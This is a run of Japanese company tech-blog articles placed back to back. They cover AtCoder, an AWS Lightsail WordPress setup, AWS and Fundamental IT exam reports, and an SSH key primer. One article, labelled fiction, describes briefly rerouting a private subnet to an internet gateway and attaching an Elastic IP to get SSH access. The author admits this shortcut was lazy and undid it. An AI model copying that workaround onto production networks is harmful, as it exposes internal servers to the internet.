はじめに 今回は 学生の頃 に熱中していた AtCoder 、そして 競技プログラミング(競プロ) についてのお話を書かせて頂きました。AtCoderは世界最大規模の競技プログラミングコンテスト運営サイトです。2021年6月にはユーザー数が全世界合計で30万人を超えています( 参考サイト )。 今回この記事を書いてみようと思った理由はいくつかございますが、 学生の頃の記憶が薄れる前 に書いておきたいと考えたことと、 競プロとはどんなものであるか だけでも、 より多くの方に認知して頂きたい ことの2つが主な理由です。 競プロとはどんなものなのかという紹介から、私から見た競プロについて書かせて頂きました。 気になった箇所だけでも いいので、読んで頂けますと幸いです。 1. AtCoderの概要 1.1. 競技プログラミングとは 競技プログラミングは、プログラミングコンテストの一種であり、 「与えられた問題を解くプログラムのコードを書く技術」を競う競技 です。このコンテストを開催しているサイトの一つが AtCoder です。各コンテストにおいて参加者が以下の観点で評価され、順位づけされます。 解くことのできた問題の数 コーディングにかかった時間 コーディングの正確性 問題と点数 以下の様な問題がいくつか出題されます。 問題は「 AtCoder Beginner Contest 172 」から引用しております。 （引用元） このように簡単な問題から、 （引用元） このようにパッと見では分からなそうな難しい問題まであります。 こういった問題を解くプログラムのソースコードを提出すると、運営側が用意した いくつかのサンプルデータを入力値 としてそのプログラムが実行されます。全ての入力値に対して、 提出したソースコードの実行結果 と、 運営が用意した正解 が 一致 した場合に得点が加算されます(一部のみが一致した場合に部分点を与えているケースもあります)。 得点は 難しい問題ほど高く なります。上記の「A - Calc」は配点が100点、「D - Sum of Divisors」は配点が400点と記載されています。一つのコンテストにはあまり難しくない100点の問題から、かなり難しい問題まで幅広く用意されており、 初心者でも参加する敷居が低い と言えるでしょう。 コーディング速度と正確性 得点が同じ参加者は コーディングが早かった順(提出が早かった順) に順位が高くなります。 また、実行結果が以下のいずれかに該当する場合、 ペナルティ が課されます。 正解と出力が一致しなかった 場合 実行時エラー が発生した場合 実行時間が制限時間をオーバー した場合 この時、「ペナルティ回数×10分」と言った形で、 提出時間が長く見積もられる ようになります(AtCoderの場合)。そのため順位を高くするためには、コーディング速度だけではなく 正確性 や、 計算量 の見積もりも重要になってきます。 1.2. レーティングシステム 全てのユーザーはレートという値を持っています。この値がユーザーが持つ技術の指標となります。 簡単に言うとこの値が高い人ほど競プロの実力があると言えます。 レーティングは以下の特性を持っています。 参加したコンテストの順位に応じて変化し、 成績がいいほど数値が増加 する。 自分よりレートが高い人よりも順位が高ければ高いほど、 大きく増加 する。 逆に自分よりレートが低い人よりも順位が低ければ低いほど、大きく減少する。 レートの値に応じて色 が付与される。 これこそよく言われる 「AtCoderの色」 のことである。 色について詳しくは こちら 。 実際の私のレート推移がこちらです。 ユーザーはいつでもこのグラフを見ることができます。 最後の日付が昨年なことは気にしないでください…。 具体的な計算方法は こちら が参考になりそうです。複雑で私もよく分かっていないです。 AtCoderに取り組む人の大半はレートを大きくすること が目標だと言うことができるでしょう。 2. 学生が取り組む理由 AtCoderのユーザーは学生が多いです。( 参考URL ) 学生がAtCoderに取り組む理由は様々あると思いますが、この記事では 私とその友人 がAtCoderに取り組んでいた理由を書かせて頂きます。 2.1. 勉強になる 競技プログラミングでは以下の知識・技術が問われます。 アルゴリズムに関する知識とその応用 動的計画法、幅優先探索、深さ優先探索などの 有名アルゴリズムの知識 が身に付きます。 これらのアルゴリズムを適切な場面で利用・応用し、 コーディングする技術 が身に付きます。 計算量の見積もり 実行時間が制限時間をオーバーすることが無いようにするためには、 計算量(計算時間)を正しく見積もる 必要性があります。 一般的な情報・プログラミング言語の知識 「int型変数の最大桁数」などに理解が無いと オーバーフロー を起こすように設定された問題もあります。 数学の知識 数学の知識が役に立つ場面や問題もあります。 上記の「Sum of Divisors」という問題も数式を他の形で書き換えるという工夫が役にたちます。 競技プログラミングのレートを上げることはすなわち、 これらの知識を身に着けることと同義 です。こういった 知識・技術を身に着ける ために競技プログラミングに取り組んでいる学生が多くいることでしょう。 2.2. 就活になる これが目的の学生も多くいます。私もその一人でした。以下が存在することから、AtCoderが就活になると言えます。 AtCoder Jobsの存在 企業コンの存在 AtCoder Jobsの存在 AtCoderには、「AtCoder jobs」という求人紹介サービスが存在しています( こちら )。こちらには、様々な求人情報が掲載されており、 「レートが1200以上の方限定」 と言った形で、一定の実力を持つ人材のみに向けた求人も掲載されております。これにより レートを上げることで就活を有利に進める ため、AtCoderに取り組む学生が多い訳です。 また、AtCoderユーザーに向けた合同説明会もマイナビと共同開催されています( 参考 )。 企業コンの存在 コンテストの中には、 「企業がスポンサーしているもの」 が存在しています。これが企業コンと呼ばれているものです。 企業コンでは、以下のメリットがあります。 企業コンの参加者向けに企業から直接メールが来ることがある。 賞金が出ることがある。 こういった企業コンの存在も、就活の一環としてAtCoderに取り組む一因となっています。 2.3. 楽しい 自分が勉強し、練習すればするだけ、自分のレートや順位が上がる。これと似たものが世間には存在しています。 そう、オンラインゲームです。 シンプルにこのAtCoderのゲーム性が楽しくて取り組んでいる人も多いでしょう。私も自分のレートが上がった時の達成感を求めて、勉強したり、過去問に取り組んだりしていました。 3. 競プロで身につく技術・知識 「2.1. 勉強になる」で記載した内容と重複もございますが、以下の技術・知識が身につくと思っています。 アルゴリズム に関する知識とその応用 動的計画法、幅優先探索、深さ優先探索などの 有名アルゴリズムの知識 が身に付きます。 これらのアルゴリズムを適切な場面で利用・応用し、 コーディングする技術 が身に付きます。 計算量 の見積もり 実行時間が制限時間をオーバーすることの無いようにするためには、 計算量(計算時間)を正しく見積もる 必要性があります。 余計な工夫をすることなく 愚直な実装を行う という選択を行うことも時には必要です。この選択を行うためにも、計算時間の見積が必要と言えます。 一般的な 情報科学 ・プログラミング言語の知識 「int型変数の最大桁数」などに理解が無いと オーバーフロー を起こすように設定された問題もあります。 浮動小数点 の扱いによっては桁落ちが発生する問題等もあります。 コーナーケース への意識 全ての入力に対して正解を計算するためには、「入力が0の時」や「入力が最大値の時」といったコーナーケースへの処理を正確に行う必要があります。 数学 の知識 数学の知識が役に立つ場面や問題もあります。 上記の「Sum of Divisors」という問題 も数式を他の形式で書き換えるという工夫が役にたちます。 以上は筆者が思いついたものだけであり、これ以外にも身に着けることができる知識はあるかと思います。 4. 競プロでは身につかない技術・知識 競技プログラミングは特定の知識に特化した競技です。水泳でクロールの練習だけをしていても、個人メドレーで勝てるようにはなりません。同じように、 競技プログラミングの勉強をするだけでは、プログラミングの全てを学ぶことはできません 。そのためここでは、 競技プログラミングでは身につかない技術・知識 にもフォーカスを当ててみようと思います。 4.1. 可読性が高いコーディング 競プロにおいて、コーディング速度は命です。そのため、競プロにおけるコーディングでは以下を行っている人が多い印象があります。 コメントは書かない。 変数名・関数名はできるだけ短くする。その場で用途が分かればいい。 "count"という変数を使っていたら、友人に 「"cnt"の３文字でいいだろ！」 と怒られました…。 この辺りが原因となり、私も自分で書いたコードを見直したら、何が書いてあるのか分からなかったことが何度もあります。そのため競技プログラミングに取り組むだけでは、「可読性が高いコーディングを行う技術」は身につかないと言えるでしょう。 もちろん競技プログラミングの実力を上げるには「復習」も大事になります。そういった点で言うと、 「 可読性が低い コードを読む技術」 は身につくかもしれません。 4.2. アプリケーション開発の知識 これは 「競プロをやっていた自分が、学生時代に学ぶことができていなかった知識」 です。具体的には以下の知識・技術が挙げられます。 ライブラリ・フレームワーク の使い方 一部ライブラリは使いますが、アプリケーション開発で使うようなGUIを提供するものなどは一切使わないと言えます。 処理速度とサービス内容のバランス 感覚 サービスの内容によっては処理速度を犠牲にする必要もあります。こういった複合的な判断を行う技術は身につかないと言えます。 Git や IDE など様々なツールの使い方 エディタさえあればなんとかなります。最悪 エディタがなくても なんとかなります。 チーム開発 や 開発工程 、 プロジェクトマネジメント の知識 そもそも個人で取り組むものが大半です。チームで参加する大会も存在はしていますが、チーム開発とは少し違うと思います。 こうした開発に関わる知識に関しては、競技プログラミングで学ぶことができないと言えるでしょう。 4.3. その他情報関連の知識 アルゴリズムというものに特化した競技である以上、コーディングと直接のかかわりが少ない、以下の分野の知識については、競プロを通して学ぶことは難しいと思います。 サーバーやネットワークなどのインフラに関する知識 セキュリティ対策 SQLなどのDBに関わる知識 このように競プロだけでは身につかない知識は多くあるかと思います。 5. 終わりに 競技プログラミングは昔から賛否両論ある文化だと聞いています。実際メリットはあるものの、これだけでは不十分であるということはこの記事からも分かると思います。 しかし、 勉強の一環 として取り組んだり、 趣味として楽しむ ものと考えると、 様々なリターンがある とてもいい文化ではないでしょうか。

はじめに ※このお話はフィクションです。 「一瞬でいいからSSHがしたいんです……」 この1つのチャット通知から私の闘いがはじまりました。 これはその奮闘記となります。 現状の確認 現状の構成は以下です。 わかる方にはわかるかと思いますが、現状の構成ではSSH接続は叶わぬ夢です。 踏み台サーバを構築すれば一発かとは思うのですが、こちらのシステムは非常にギリギリの予算で運用されていました。 そのため、踏み台用EC2を作成し使用することは一時的にも難しいです。 力戦奮闘記録 構成 結論からお伝えすると、力業でプライベートサブネット（protected subnet）を無理やりパブリックサブネットにしました。 ※protected subnet プライベートサブネットとほぼ同義の認識で大きくはズレていないのですが、今回はNATゲートウェイを使用することでプライベートサブネットからインターネットへの通信が可能になっています。 このように「プライベートなサブネットからのインターネットへの通信は可能、インターネット側からはプライベートなサブネットにアクセスできないようにしているサブネット」のことを指しています。 構成図で表すと以下のような感じです。 手順 SSHしたい対象のEC2がいるサブネットを確認します。 次に、サブネットのルーティングを変更します。 サブネット>詳細>ルートテーブル>ルート>ルートを編集 ターゲットをNATゲートウェイからインターネットゲートウェイに編集します。 プライベートサブネット（だったもの）からインターネットへの通信が可能なルーティングになりました。 次にEC2を見ていきます。 ここでしまった！と思いました。 サブネットの種類が変わればEC2もパブリックなものに変わるかなと予想していたのですが、どうやら予想は外れてしまったようでした。 パブリックIPを持たずに生まれてきたEC2は、EC2が存在しているサブネットがパブリックになっても自然にパブリックIPが付与されるというわけではないようです。 このままではSSH接続はできないので、無理やりパブリックIPを付与していきます。 この際、使用したサービスは Elastic IP です。 「Elastic IPアドレスを割り当てる」>割り当て これでEIPを手に入れることができます。 アクション>Elastic IPアドレスの関連付け>インスタンス>該当のインスタンスを選択 これで手に入れたEIPをインスタンスに付与することができます。 ここで、「あれ？EIPってお金かかるんじゃないの？」と思った方もいらっしゃるかと思います。 ご安心ください。 EIPが関連付けられているEC2インスタンスが起動しており、そのインスタンスにEIPが1つしかアタッチされていな場合は料金が発生しません。 というわけで無事、（追加料金なしで）pokepokeというEC2にSSH接続が可能となりました。 さいごに SSHでの作業も終わりましたので元の構成に戻してめでたしめでたしです。 今回は複雑な構成ではなかったので元に戻す作業も無事終えることが出来ましたが、複雑な構成の場合ですと戻し忘れや設定変更による影響が怖いです。 踏み台用EC2であれば、スペックをおさえたt3.nanoのインスタンスでも十分かと思います。 Amazon EC2 オンデマンド料金 をご確認いただければ費用としてもそこまでの額ではないことがわかると思います。 次からは横着せずに踏み台サーバ経由でのSSH接続を試みようと思います。

そもそもLightsailとは 公式サイト より引用 Amazon Lightsail は、数クリックでウェブアプリケーションやウェブサイトを立ち上げられる、使いやすいクラウドリソースを提供します。Lightsail は、インスタンス、コンテナ、データベース、ストレージなどの簡素化されたサービスを提供します。Lightsail では、WordPress、Prestashop、LAMP などの事前に設定されたブループリントを使用して、ウェブサイトやアプリケーションを簡単に立ち上げることができます。 ⇒自分なりに言い換えると、 AWSが提供している仮想プライベートサーバー（VPS）で必要な設定が少なく始めやすい。 簡単なウェブサイトをEC2で作ろうと思ったときに通常VPC,ALB,EC2,…など必要になるところが、Lightsail内で全て完結する。（※自動でやってくれる部分が多い分ため制限もある） wordpress構築検証 下図を構築します。 HTTPSは必須として、その他も絞れるところは絞っていきます。 lightsailのロードバランサにWAFをアタッチすることはできないため、cloudfrontを前段に置いています。 lightsailインスタンス AWSコンソール画面のサービスからlightsailを選択すると、lightsail用のページへ飛びます。 lightsailホーム画面>インスタンス>インスタンスの作成 必要な項目 リージョン 東京を選択 アベイラビリティーゾーン ZoneAを選択 プラットフォーム Linux/Unixを選択 設計図 Apps + OS WordPressを選択 インスタンスプラン →Memory:4GB,Processing:2vCPUs,Storage:80GB,Transfer:4TBを選択 これだけでwordpressが立ち上がります。 インスタンスはEC2のように、画面上で停止や再起動が可能です。 作成したインスタンスの詳細を見てみます。 ・接続 "SSHを使用して接続"からセッションマネージャのようにブラウザでサーバへアクセス可能です。 "デフォルトキーのダウンロード"からSSHキーが入手できるので、SSHクライアントを使うこともできます。 どちらの方法でも接続ができました。 SSHクライアントでも接続できたので、どこからでも接続できるようになっている??かもということで、セキュリティグループの設定がないかどうか確認します。 ・ネットワーキング "IPv4ファイアウォール"を見るとデフォルトで22,80,443が0.0.0.0/0で空いていました。 一先ず社内IPのみを許可しておきます。 この段階でパブリックIPでアクセスすると以下が表示されます。 最初からwordpressが入っていることがわかります。 ・メトリクス CPU,ネットワーク,ステータスがデフォルトで確認できるようになっています。 この記事ではwordpressにログインするところは記載しませんが、wordpressのアカウント情報の確認方法は lightsailの公式ドキュメント に載っています。 lightsailロードバランサー 次に独自ドメインでアクセスできるようにします。 lightsailホーム画面>ネットワーキング>ロードバランサーの作成 必要な項目 リージョン 東京を選択 初期設定 HTTPを選択 証明書がないのでHTTPSは選択できません 作成したロードバランサーの詳細を設定します。 ・ターゲットインスタンス 作成したインスタンスをアタッチします。 ・インバウンドトラフィック HTTPSに対応させるために、証明書を発行します。 ACMと同じでドメインを入力するとDNS検証 で登録すべき値が出てくるのでDNSサーバに設定します。 ここでのドメインはorigin-xxx.mynavi.jpとします。 証明書が有効になるとHTTPSを選べるようになります。 ここまで完了するとHTTPSが有効になります。 この段階でorigin-xxx.mynavi.jpにアクセスすると以下が表示されます。 パブリックIPでアクセスしたものと同じになりました。 cloudfront ここの作業はlightsailから離れるので割愛します。 設定した内容は以下です。 Cloudfront オリジンはorigin-xxx.mynavi.jp ACM xxx.mynaiv.jpを設定 WAF Cloudfrontにアタッチ この段階でxxx.mynavi.jpにアクセスすると以下が表示されます。 アクセス制限について Cloudfrontのみ443で受け付けたいとします。 ロードバランサーにはファイアウォールが備わっていないのでCloudfront外からもorigin-xxx.mynavi.jpで受けることができてしまいます。 また、インスタンスはファイアウォールがありますがロードバランサーのIPは変動するため制限をかけることができないです。 そのため、インスタンス内で制限をかけるしかなさそうです。 Cloudfront→ALB→EC2の場合は ALB SGでCloudfront（AWSマネージドプレフィックスリスト）のみ許可し、EC2 SGでALB SGのみ許可することができましたがlightsailではこのようにできませんでした。 費用について lightsailとEC2の料金を比較してみようと思います。 前提としてスペックは以下とします。 4 GB メモリ 2 コアプロセッサ 80 GB SSD ディスク 比較 lightsail：月額 $20 EC2(t4g.medium)：月額 $29.46 lightsailの方が安いことがわかりました。 比較するためにlightsailの中でも真ん中のサイズを選びましたが、一番小さいサイズだと月額$3.5となっていました。 まとめ 簡単に作ることができて、安いというのは確かにそうだなと感じました。 冒頭にも書いた通り、細かい設定ができないところが欠点となりそうです。 ・EC2のFirewallはIPベースのみの設定 ・ロードバランサーにFirewallがない ・ロードバランサーにWAFがアタッチできない 簡単にたてて使ってみるという点では適しているという印象を持ちました。

はじめに こんにちは。インフラソリューション部（現デジタルテクノロジー戦略部）のU.Jです。 今回はAWS認定 Solution Architect Professionalに合格した話をしたいと思います。 11月に試験内容更新されてしまいますが、 今後受ける誰かの参考になれば幸いです！ ※試験の形式や方向性自体は、現在の内容と同じです。（ 詳細 ） AWS認定 Solution Architect Professionalとは https://aws.amazon.com/jp/certification/certified-solutions-architect-professional これを読んでいる人にわざわざ説明するまでもないとは思いますが… AWSの専門知識やスキルを有していることを認定する、AWS公式資格「 AWS認定 」のうち、専門領域を絞らず広く全体の知識・経験を問う「Solution Architect」のProfessional版です。 以下SAPとします。 （※ERPのアレではない。アレはアレでSAP on AWSという認定試験があるので紛らわしいですが。） Solution Architect Associateとの比較 基礎的な知識・経験の習得証明としてはSolution Architect Associate（略してSAA）が存在しますが、SAPでは SAAより実践的な知識が求められる サービスの選定だけでなく、具体的な細かい設定手順まで言及があるケースも 問題数・1問あたりのボリュームが多い 設問はほぼ全て既存構成や要件の説明で始まり、複数サービスの設定を組み合わせて構成案や改善案を出す内容 公式ではSAAは「スケーラブルな構成の構築経験を1年以上」、SAPは「クラウドアーキテクチャの実務経験を2年以上」としている SAAと比べて、よく見る三層構成ではないパターンがかなり増える といった違いがあります。 Specialityとの関係 AWS認定のカテゴリにはAssociate, Professionalの他にSpecialityがあり、例えば機械学習、セキュリティ、データベースなど個別領域の深い知識・経験はそれぞれ対応する試験があります。 Specialityが各領域の専門サービスの利用法を掘り下げるのに対して、SAPはクラウドアプリケーションのアーキテクチャ設計を軸に据えつつ、AWS全体を見てサービスの選定やオプション設定の方針を問う、、、みたいなイメージです。 パワ〇ロのサクセスと栄冠ナインみたいなもんですかね（わかりにくい喩え）。 受験した背景 実は2年ほど前にノリで受けて一回落ちてます。 2019年夏にSAAに合格して、秋に同僚が SAPの学習集中プログラム を見つけて、ITソリューション部（当時）と商用基盤部（当時）の若手としてそれぞれAWSスキルを先導できるようになっておいて損はないよね、みたいな理由で学習し始めたのがきっかけです。 で、無事2人とも不合格となり、その後再受験を考えているうちにコロナだのなんだの色々あって機会を逃してモチベも下がっていたのですが、 AWSの構成や移行に関して技術部隊として一定水準以上の知識を求められるようになったこと AWS統合PJでOrganizationsによる統制なども手掛けるようになったこと SAAが3年で失効したこと 等々ありまして、SAAを更新するくらいならSAP受けようということで受験に至りました。 学習教材 公式リファレンス 個人用AWSアカウント・業務検証用AWSアカウント ホワイトペーパー 読み込むのはかなりしんどいので、基本的には各領域・サービスのベストプラクティスについて疑問点があったらホワイトペーパー読む、くらいの感じでした 問題集・模試 AWS認定ソリューションアーキテクト-プロフェッショナル ~試験特性から導き出した演習問題と詳細解説 1回目に落ちた後に刊行され、同僚からプレゼントされた良書 よかった（こなみかん） 2020年当時の情報なので若干古い点には注意 わかりやすい所だと、AWS SSO（現IAM Identity Center）のIdPのSAML対応とか AWS Skill Builderの模試（無料） 参考: https://dev.classmethod.jp/articles/new-aws-official-practice-questions/ AWS公式模試 本番よりレベルもちょっと低いが、Summitなどでよく配られている無料バウチャーがあればやっておいても損はない 学習の流れ 学習集中プログラム に沿って出題される領域を把握しておく 他に良い参考書があればそれでいいかもしれない 上記の問題集の前半などでもまとまってはいるが、少々簡潔すぎるきらいがある 領域ごとに知らないサービスの概要を読んで自分の中で整理 一度公式模試を解き、求められる知識の粒度を把握 触れるサービスは直接触る 業務で触れる場合は最大限活用する 触れないものは問題集の解説をベースに、DevelopersIO等の事例記事を読み込む 読み込んだ知識を問題集で整理、補強 わからない部分、ちょっとでも疑問に思う部分があればリファレンス読んだり、実際にアカウントの設定画面見てみたり 問題集末尾の模試で仕上げ 3時間かかる模試を受験前日の夜21時から解き始める人間の屑 1回目の受験時はちょこちょこと4ヶ月くらいやってたんですが、今回は仕事の忙しさもあり、問題集を中心に1ヶ月弱程度の勉強期間でした。 試験について 1回目・2回目どちらもテストセンターで受けました。身分証明書が2種類いる点に注意。 テストセンターは場所によってオンラインカメラのリアルタイム監視があったりなかったりします。 1回目はありましたが、不具合発生時にカメラの向こう側の人と英語でコミュニケーションを取らなければならず、姿勢なども細かく見られそうなので、無い所の方が良いかなと思いました。 あとメモ用の筆記具がボールペン＋紙だったりホワイトボード＋マジックだったり、ばらつきがあるようです。よくわからないので運です。 試験時はあらゆる私物を没収されるので、サービスのリリース直後など緊急連絡があり得る際に行くのはおススメしません。 試験中の感想 とにかく時間がない 180分で75問なので1問あたり2.4分 こう書くとSAA（65問で130分）より余裕はあるんですが、ほとんどが4~6行にわたる長文の上、前後の問題につながりが無いため切り替えが大変で集中力が持たないです。 他所の体験記を読むと「とにかく反射で答えられる問題を増やして2時間ちょっとで一旦解ききれるように～」とか書いてありましたが、そこまで対策できていなかった自分は、解き終わった時点で残り5分切ってました。 時間があったら楽勝とは言ってない 細かいオプション項目を覚えていなかったりすると絞り切れない選択肢がかなりあります。 筆記具は一度書いたら消せないので使うタイミングがよくわからなくなる 結局、データ移行の問題で転送量計算するのに使ったくらいでした。 大体どこのテストセンターにも、周囲の音シャットアウト用のヘッドホンがあるが、1時間もつけてるとこめかみのあたりが痛くなってくる 会場がよっぽどうるさいならともかく、そうでないならつけない方が良いのでは。 自分の頭がでかいだけかもしれない。 結果 完全勝利 試験のポイント（私見） 自分なりに得た知見をいくつか。 わからなくても長時間悩んでないで直感を信じる 時間配分がシビアなので、これがすごく大事。 BlackBeltでも「（多少わからない所があって直感になっても）ええんやで」って言ってました。 それを織り込み済みで問題作成や採点をしてるというか、直感でわかるということは考え方が多少なりとも身についてる筈、という考えの様子。 問題が何を重視しているのか必ず確認する 機能の実現だけであれば複数の選択肢が当てはまる場合、「最もコスト効率に優れた設計」「最も可用性・信頼性の高い設計」「最も既存のアプリケーションの改修が少ない設計」など重視してるポイントが鍵になります。 特にRTO, RPOが提示された場合は、（それらを満たした上での）コスト効率を重視していることが多いです。 RTOに余裕があればホットスタンバイは必要ないし、RPOに余裕があればDBは同期でなくスナップショットからの復旧で充分かもしれません。 問題文を必ずよく読みましょう。 各サービスの設定オプションや作業手順まで目を通しておく 感想の所でも書きましたが、細かいオプション項目を覚えていなかったりすると絞り切れない選択肢がかなりあり、「サービスの概要と基本的なユースケースはわかっている」程度のレベルだとあっさり討ち死にします。。 また、「VPC内のサブネットのCIDR割当を変更したい場合に直接変更できるか、一度削除する必要があるか」みたいな、構成図だけ覚えていると盲点になるようなことも問われます。 サービス単体ではなく、他のサービスと組み合わせたユースケースを叩きこんでおく 「1つのサービスの理解だけを問う問題」と「複数サービスの適切な組み合わせと設定を問う問題」がありますが、割合としては圧倒的に後者が多いです。 よく見かける組み合わせ（SQS + LambdaとかDirect ConnectとVPNの二重化とか）については構成図だけでなく、どういう理由でその組み合わせになっていて、そのためにどういう設定が必要か、という所まで落とし込んで理解しておく必要があります。 得意分野を1つ以上作っておく 1分未満で回答できるような分野があると、多少時間が厳しくても心に余裕ができます。 自分の場合、Organizations絡みやIAM系は考えずに反射で回答できるようにしてました。 問題の状況設定に関わらず切り捨てられる選択肢を増やしておく 例えば以下のような記述の選択肢は、そもそもサービスの仕様に反しているため、前提に関わらず無条件に除外できます。 ～のデータを、Kinesis Firehoseを経由してLambdaで加工する →FirehoseはS3、Redshift、ES（OpenSearch）にデータを流し込むためのサービスであって、ストリーミングしながら加工するみたいなことはData Streamsの役目。 （CloudFront/ALBなど）に対して、Shield Standardを有効化する Shield StandardはAWS側が対象の全リソースに対して自動で有効化しているものであって、手動で有効化する手順は存在しない。 RedshiftのノードをマルチAZに配置して～ 2022年7月現在、RedshiftはマルチAZ構成を取れない。 SystemsManager Parameter Storeにパラメータを格納し、定期的にローテーションする ローテーションしたかったらSecrets Managerを使う必要がある。 こういうのを秒で弾けるようになると、他の選択肢の検討をする時間に余裕ができるので、問題集などを解きながら武器を増やしておくのが吉です。 ややこしい名称は必ず整理しておく 例えば、 「グローバルテーブル」（DynamoDB）と「グローバルデータベース」（Aurora） 「IAMアクセスアナライザー」と「IAMアクセスアドバイザー」 たまにこれにTrusted Advisorも混ぜてくる Transit Gateway、Direct Connect Gateway、Customer Gateway、Virtual Private Gateway などなど、「概念や用途は理解しているが名前を正確に覚えてない」という人を狙い撃ちにしてくる場合が結構あります。 こういうので頭抱えたりすると精神的にもしんどい。 頻出シチュエーションを押さえておく その時々で流行もあると思いますが、マルチリージョンによるDR対策が多いかなという印象。 それに絡んでDBの選択、Route53のDNSラウンドロビンにおけるルーティングポリシーの設定、CloudFrontなど。 ​ また、マルチアカウントの話もちょこちょこ出ます。「部門に使わせるサービスを制限したい」みたいな、あからさまに「OrganizationsでSCP使え」って言ってる問題が結構出るので、SCPとIAMポリシーの関係をしっかり押さえておけばボーナス問題です。 （とか余裕ぶっこいてるとBudget周りで引っかけがあったりしますが） まとめ 落ちた時と合格した時であまり手応えに違いが無く、試験終了時に合格と表示されてもいまいち実感が無かったのですが、結果としては多少余裕のある点数を取れていたようでほっとしました。 なんだかんだで2年の間の業務経験が活きたかなと思います。 問題を解く上で「あ、これあの時業務で触ったアレだ！」となったケースも少ないながらありました。 よく言われることかと思いますが、資格を取ること自体を目的とするのではなく、資格のために学習すること・知識や経験をつけることが大事です。 その点で言うとSAPは比較的「机上での表面的な学習だけでは点が取り辛い」作りになっており、勉強のために実際にサービスに触れたり事例を漁ったりすることで実践的な力がつきやすいのかなと思います。 SAPの問題＝要件に合わせて構成を考える仮想体験であり、上で挙げたポイントもそのまま実際に構成を考えたりレビューする時の観点に繋がりますので、間違いなく業務に役立ちます。 受験料が3万円と結構お高いので中々気軽には受けられませんが、試験に向けて資料を読み込んだり問題を解くだけでも充分実入りがあるので、興味のある方は是非トライしてみてください！！ ※ちなみにマイナビでは、1回までは会社から受験料が出る「資格支援制度」がありますので、自己研鑽としてこの制度を利用する方も多いです 以上、最後までお読みいただきありがとうございました！

sshとは secure shellの略称で、サーバを遠隔操作するためのプロトコルの名称です。 そもそもプロトコルとは、データをやり取りするために定められた手順や規約、信号の電気的規則、通信における送受信の手順などを定めた規格のことを言います。 sshの最も一般的な使い方は、自分のPCからサーバへのリモートログインやファイルの転送です。専用のサーバルームや遠隔地のデータセンター内に設置されているサーバの操作は、ネットワーク越しにリモートログインして行うのが一般的です。 また、クラウド上のサーバーは物理的に触れることができないため、ネットワーク越しに操作するしかありませんので、その際にsshを利用してサーバにログインします。 sshが使われる前は、telnetが主流でした。しかしtelnetは暗号化せずにデータを送受信するため、第三者からデータが丸見えです。 sshでは認証部分を含めて、全ての通信が暗号化されているので、第三者からデータが見られず、さらに高速なので、現在はsshが主流になっています。 簡単にまとめると、「こういうルールのもとで通信を行うことをsshと呼びましょう」ということです。そのルールに従っていると以下のようなメリットがあります。 sshを利用するメリット 1. 安全な通信が可能 暗号化された通信により、大切な情報を第三者に見られることなく、安全に情報を取り扱えるようになります。 また、認証方法には公開鍵暗号方式が使われるため、なりすましによるアクセスを防ぐことが可能です。 そのため、IDやパスワード、個人情報、企業の機密情報の流出リスクなどを防げます。 公開鍵暗号とは 「公開鍵認証」とは、「公開鍵」と「秘密鍵」という2種類の鍵のペア（キーペア）を用いて認証を行う方式です。 サーバにログインするユーザは、事前に自分用のキーペアを作成します そのうち公開鍵をサーバーに登録し、秘密鍵は自分のPC内に保管しておきます サーバにログインする際には、まず秘密鍵を用いて署名を作成し、サーバへ送信します サーバは受け取った署名をペアとなる公開鍵で検証し、登録済みの公開鍵での検証が成功した場合に限り、ログインを許可するという仕組みです これらはSSHクライアントとサーバの間で自動的に行われるため、ユーザーが意識する必要はありません。 また、秘密鍵に「パスフレーズ」を設定して鍵そのものをロックすることもできます。パスフレーズとはパスワードの一種で、一般的なパスワードはあくまで単一の「単語」ですが、パスフレーズは複雑な「文章」の形を取れるため、より「強い」パスワードを作ることができます。 ロックされた秘密鍵は、正しいパスフレーズを入力しない限り使用できないため、公開鍵認証をよりセキュアに運用できます。 2. サーバ上でファイルの編集が可能 sshが普及する前に使われていたtelnetの場合は、編集したいファイルを一度ローカルディスクにダウンロードします。ダウンロードしたファイルの編集が完了したら、再度元のフォルダにアップロードをする必要がありました。 sshを利用すれば、今まで行っていたファイルをダウンロードしたりアップロードすることなく、サーバ上で直接ファイルを編集できるようになります。 sshを利用する ご自身のPCでsshをするために、公開鍵と秘密鍵のキーペアを生成する必要があります。 以下のコマンドでキーペアを生成することができます。 ssh-keygen -t ed25519 -C "your_email@example.com" -t で暗号化方式を変えられ、デフォルトの設定だと rsa になっているので、 ed25519 にします（ 参考 ） 上記を行うと、以下のような画面になります。 デフォルトではホームディレクトリの .ssh ディレクトリ配下に id_ed25519 と id_ed25519.pub が生成されます。 別のディレクトリに生成したかったり、ファイル名を変えたい場合はここで指定することができます 特に変更させずデフォルトのまま進みたいのであれば、何も入力せずに Enter を押します。 その後、パスフレーズの入力を促されるので、パスフレーズを入力します パスフレーズを設定しない場合は、何も入力しないまま Enter を押します。 上記のような謎の文字列が表されていれば成功です 実際にファイルが生成されているかを見てみると、 .ssh もしくは指定したディレクトリの配下に秘密鍵と公開鍵（.pub付きのファイル）が表示されているかと思います。 今後、サーバに ssh 経由でログインする場合は、上記のように鍵を生成し、公開鍵にあたる 〇〇.pub の中身をコピーしてサーバに登録することで、サーバへ ssh することができます。 参照 https://hnavi.co.jp/knowledge/blog/ssh/ https://www.idcf.jp/words/ssh.html https://pfs.nifcloud.com/navi/words/ssh.htm https://qiita.com/suthio/items/2760e4cff0e185fe2db9 https://www.fu9da.com/post/change-ed25519

はじめに 2022年4月に新卒入社しましたシステム統括本部（現デジタルテクノロジー戦略本部）のU.Mです。 令和４年度上期の基本情報技術者試験（CBT方式）を受験しました。（合格しました！） CBT方式の試験形式についての話を中心とした受験レポートです。 この記事の目的 基本情報技術者試験（CBT方式）の試験形式の特徴を伝える （ 試験問題の非公開への同意 に準拠し、試験内容に関しては記載しません） これから初めてCBT方式の試験を受験する人の不安を減らす CBT方式とは 試験会場に設置されたコンピュータを使用して実施する試験です。 出典： https://www.jitec.ipa.go.jp/1_11seido/cbt_sg_fe.html 私が受験した基本情報技術者試験では、試験会場のPC上で問題の閲覧、解答を行いました。 試験当日の注意事項・受付から受験の流れ・CBTの操作方法 この３つを説明した公式の資料のリンクは こちら です。 この資料は、プロメトリックの試験実施概要ページの ここから見ることができます。 試験当日に起こったこと 試験前 集合は試験開始時刻の15分前でした。その15分ほど前に会場に到着すると人が少なく、スムーズに受付を済ませることができました。 身分証の確認がありました。忘れた場合試験を受けさせてもらえないようです。 ポケットティッシュは包装を外して中身のみ持ち込むことができました。 試験中 試験画面のレイアウトや操作方法を当日知ったため混乱しました。 試験中問題画面左側の問題番号をクリックするとすぐに答えたい問題にとぶことができ、便利でした。 